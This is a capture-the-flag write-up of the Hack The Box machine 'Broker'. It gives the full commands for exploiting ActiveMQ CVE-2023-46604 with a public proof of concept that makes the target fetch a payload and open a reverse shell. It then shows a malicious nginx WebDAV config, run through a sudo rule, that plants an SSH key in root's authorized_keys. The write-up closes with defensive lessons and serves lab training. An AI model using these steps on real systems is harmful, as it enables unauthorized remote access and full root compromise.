~/writeups_
Hack The BoxEasyLinux

Broker

An outdated Apache ActiveMQ broker is vulnerable to unauthenticated RCE (CVE-2023-46604), giving a shell as activemq. A sudo rule allowing nginx to be run as root is abused — a malicious config turns nginx into a WebDAV server that writes an SSH key into root's authorized_keys for a root login.

TL;DR

Broker is an Easy-difficulty Linux machine running an outdated Apache ActiveMQ broker. The exposed OpenWire version (5.15.15) is vulnerable to unauthenticated remote code execution (CVE-2023-46604), which we leverage for a reverse shell as the activemq user. Post-exploitation shows a sudo misconfiguration that lets activemq run /usr/sbin/nginx as root. Because the binary is compiled with the WebDAV module, we point it at a malicious config that turns it into a writable file server, PUT our own SSH key into root’s authorized_keys, and log in as root.

MachineOSDifficultyTarget IPPwnbox IP
BrokerLinuxEasy10.129.230.8710.10.15.144

Enumeration

We start by finding the open ports with a fast scan, then run service and script detection against just those ports:

Terminal window
ports=$(nmap -p- --min-rate=1000 -T4 10.129.230.87 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sCV 10.129.230.87 -p$ports

The scan returns:

Terminal window
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Error 401 Unauthorized
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ basic realm=ActiveMQRealm
|_http-server-header: nginx/1.18.0 (Ubuntu)
1883/tcp open mqtt
| mqtt-subscribe:
| Topics and their most recent payloads:
| ActiveMQ/Advisory/Consumer/Topic/#:
|_ ActiveMQ/Advisory/MasterBroker:
5672/tcp open amqp?
|_amqp-info: ERROR: AQMP:handshake expected header (1) frame, but was 65
8161/tcp open http Jetty 9.4.39.v20210325
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ basic realm=ActiveMQRealm
|_http-server-header: Jetty(9.4.39.v20210325)
|_http-title: Error 401 Unauthorized
38169/tcp open tcpwrapped
61613/tcp open stomp Apache ActiveMQ
61614/tcp open http Jetty 9.4.39.v20210325
|_http-title: Site doesn't have a title.
61616/tcp open apachemq ActiveMQ OpenWire transport 5.15.15

The pattern is unmistakable: almost every port belongs to Apache ActiveMQ — the ActiveMQRealm basic-auth prompts on 80 and 8161, MQTT on 1883, AMQP on 5672, STOMP on 61613, and the OpenWire transport on 61616. The most valuable line is the last one, which leaks an exact version:

61616/tcp open apachemq ActiveMQ OpenWire transport 5.15.15

Foothold

Unauthenticated RCE in Apache ActiveMQ (CVE-2023-46604)

Searching for ActiveMQ 5.15.15 quickly points to CVE-2023-46604, a critical unauthenticated RCE in the OpenWire protocol. The broker deserializes an attacker-controlled class reference from an OpenWire frame and instantiates it; by pointing it at a ClassPathXmlApplicationContext, we can make the server fetch a remote Spring XML file and execute arbitrary commands from it — no credentials required.

We use the ready-made PoC at strikoder/CVE-2023-46604-ActiveMQ-RCE-Python, which generates the malicious XML and sends the OpenWire trigger for us. Clone it and generate a payload that calls back to our Pwnbox:

Terminal window
git clone https://github.com/strikoder/CVE-2023-46604-ActiveMQ-RCE-Python.git
cd CVE-2023-46604-ActiveMQ-RCE-Python
# Build a reverse-shell payload (poc-linux.xml) pointing at our listener
python3 generate_poc.py -i 10.10.15.144 -p 1001

The attack has three moving parts, so we set up three terminals:

Terminal window
# Terminal 1 — catch the reverse shell
nc -nvlp 1001
Terminal window
# Terminal 2 — serve the generated XML to the target
python3 -m http.server 2002
Terminal window
# Terminal 3 — fire the exploit, telling the broker where to fetch the XML
python3 main.py -i 10.129.230.87 -u http://10.10.15.144:2002/poc-linux.xml

The broker fetches poc-linux.xml, executes the embedded command, and our listener catches the shell:

IMG-Broker

User

With a shell as activemq, we read the user flag from the home directory:

Terminal window
$ cat /home/activemq/user.txt
0f5*****************************

The reverse shell is a dumb shell, so we upgrade it to a fully interactive TTY before enumerating further:

Terminal window
script /dev/null -c bash
# Ctrl+Z to background
stty raw -echo; fg
# then type: reset

Privilege Escalation

We check what activemq may run with sudo:

Terminal window
$ sudo -l
Matching Defaults entries for activemq on broker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User activemq may run the following commands on broker:
(ALL : ALL) NOPASSWD: /usr/sbin/nginx

activemq can run /usr/sbin/nginx as root without a password. Crucially, nginx accepts an arbitrary config file with the -c flag, which means we fully control what a root-owned nginx process does.

First we check which modules the binary was built with:

Terminal window
nginx -V 2>&1 | grep -o with-http_dav_module
Terminal window
with-http_dav_module

The WebDAV module is compiled in, so a root-owned nginx can serve a writable endpoint that honours HTTP PUT. We abuse this to write files anywhere on disk as root.

We write a malicious config to /tmp/pwn.conf. It runs the worker as root, listens on port 1234, roots the server at / (the whole filesystem), and enables the PUT method:

user root;
events {
worker_connections 768;
}
http {
server {
listen 1234;
root /;
dav_methods PUT;
}
}

Then start nginx with our config via the allowed sudo rule:

Terminal window
sudo /usr/sbin/nginx -c /tmp/pwn.conf

We confirm the new listener is up on port 1234:

Terminal window
$ ss -tlpn
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 511 0.0.0.0:1234 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
...

Since SSH is listening on port 22, the cleanest path to a stable root shell is to drop our own public key into root’s authorized_keys. We generate a key pair, saving it as root in the current directory and leaving the passphrase empty:

Terminal window
$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/activemq/.ssh/id_rsa): ./root
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./root
Your public key has been saved in ./root.pub

This gives us root (the private key) and root.pub (the public key). Because nginx is serving the filesystem root with PUT enabled as root, we upload the public key straight into /root/.ssh/authorized_keys:

Terminal window
curl -X PUT localhost:1234/root/.ssh/authorized_keys -d "$(cat root.pub)"

With the key in place, we SSH in as root using the matching private key:

Terminal window
ssh -i root root@localhost

The login succeeds and we land in a root shell:

IMG-Broker-1

We read the final flag:

Terminal window
# cat /root/root.txt
f8b*****************************
Rooted

Unauthenticated RCE in Apache ActiveMQ 5.15.15 (CVE-2023-46604) → shell as activemq; sudo-allowed nginx run with a malicious WebDAV config → PUT an SSH key into root’s authorized_keys → root.

Lessons Learned

  • Keep message brokers patched and off the public internet. The entire foothold was a known, unauthenticated, version-specific CVE in ActiveMQ’s OpenWire transport. Exposing 61616 to the world turned a missing patch into instant remote code execution. Update promptly and restrict the broker’s ports to trusted networks.
  • sudo on nginx is root. Allowing a user to run a feature-rich binary like nginx as root is effectively a root shell: the -c flag hands over full control of a privileged process. Here the WebDAV module let that process write anywhere on disk. Never grant sudo on general-purpose binaries, and check candidates against GTFOBins before adding them to sudoers.
  • A world-writable nginx root is arbitrary file write. Combining root /; with dav_methods PUT exposes the whole filesystem for overwrite. Scope any WebDAV location to a dedicated, unprivileged directory, and never run worker processes as root.